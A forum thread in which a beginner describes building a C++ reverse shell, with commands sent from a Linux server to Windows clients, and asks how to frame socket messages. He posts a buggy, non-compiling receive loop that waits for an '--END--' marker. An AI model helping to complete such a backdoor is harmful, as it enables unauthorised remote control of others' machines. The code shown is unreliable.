[C(++)] Project Programming Help

[hitthemlow]

So about 70% into C++ Primer, I decided to tackle two pretty advanced topics at once, Sockets and Multithreading, well I spent three weeks or so (yes three) reading up on it, and my current project is this:

Have a server on a Linux Machine, and clients on Windows, they connect, and I can send a variety of things to them from my linux machine. To be blunt Im making a reverse shell I have no desire to sent it out since well, if I need to ask for help, chances are id get caught

Ive got the base coded, (and modules ), but im stuck on one crucial part, sending the data in a reliable way, since I need to use non blocking sockets, or at least blocking sockets with a very short time out. So before I go freaking out with fancy append calls and such, does anyone know of another reliable way to send large blocks of text ( think the size of a detailed nmap scan at max, ie a small essay ) over sockets? I cant seem to find a way that fits my needs and my rigid coding style :s

[Virchanza]

Which networking library are you using?

There's probably a networking library out there that lets you send files by writing one line of code:

SendFileHTTP(my_socket,my_file);

[hitthemlow]

Which networking library are you using?

There's probably a networking library out there that lets you send files by writing one line of code:

SendFileHTTP(my_socket,my_file);

I am using winsock for the client, and the *nix sockets for linux. In other words, no special library.

I dont need to send files however, I need to send commands to the client, and recieve the output at the server. If i use blocking sockets, theoretically seaking, one computer going down could crash the entire thing, because TCP has a painfully long timeout, if I use non blocking, the data could arrive in the wrong order.

My idea was to (after the encoding) append --END-- to the string being sent, and have the server watching for the time when the last 6 characters match that, so to send the command... SYSEXC(what im using to represent system calls) ls, it would end up with something like:

h45h57whj32825jh835II5HVHN3VHN58V--END--

But im still not sure that will be 100% reliable (what if the buffer gets hit with the begginign of the next command like so:

abbaguibav8vb8ivno--END--bufjbqaf

Then my program would be wondering: what does "lsc" mean?

[Virchanza]

I've only ever done raw socket networking programming, I've never played around with TCP.

I did a quick Google search though and found this:

http://www.uio.no/studier/emner/matn...atacomm-03.ppt

I dunno if it will help you or not, but I think it describes how to make a chat program. (I think your backdoor will basically be a chat program sending text back and forth).

[hitthemlow]

I think I figured it out, I decided to go with non blocking sockets and a recieve loop like so:

while (1)
{
recieve:
int status = recv(socketfd, *transmission_buffer, sizeof(transmission_buffer), 0);
if (status == 0 || status == SOCKET_ERROR) { closesocket(socketfd); goto connect;}
if (status == -1) {pause(30); goto recieve;}
if (status > 0 )
{
int i = 0;
while ( status >= i )
{
//Merge Array into String
command_buffer == ("%s%c"command_buffer,transmission_buffer[i]);
i++;
}
//Check for "--END" in string
if ((command_buffer[(strlen(command_buffer))] == 'D')
&& (command_buffer[((strlen(command_buffer)) - 1)] == 'N')
&& (command_buffer[((strlen(command_buffer)) - 2)] == 'E')
&& (command_buffer[((strlen(command_buffer)) - 3)] == '-')
&& (command_buffer[((strlen(command_buffer)) - 4)] == '-'))
{
//Decode + Check Command
command_buffer = decode(command_buffer);
chckcommand(command_buffer);
//Reset Buffers
command_buffer = "";
memset(&transmission_buffer, 0, sizeof(transmission_buffer));
}
goto recieve;
}
}

Please ignore the function calls that decode it and such :P Those are private srs buizness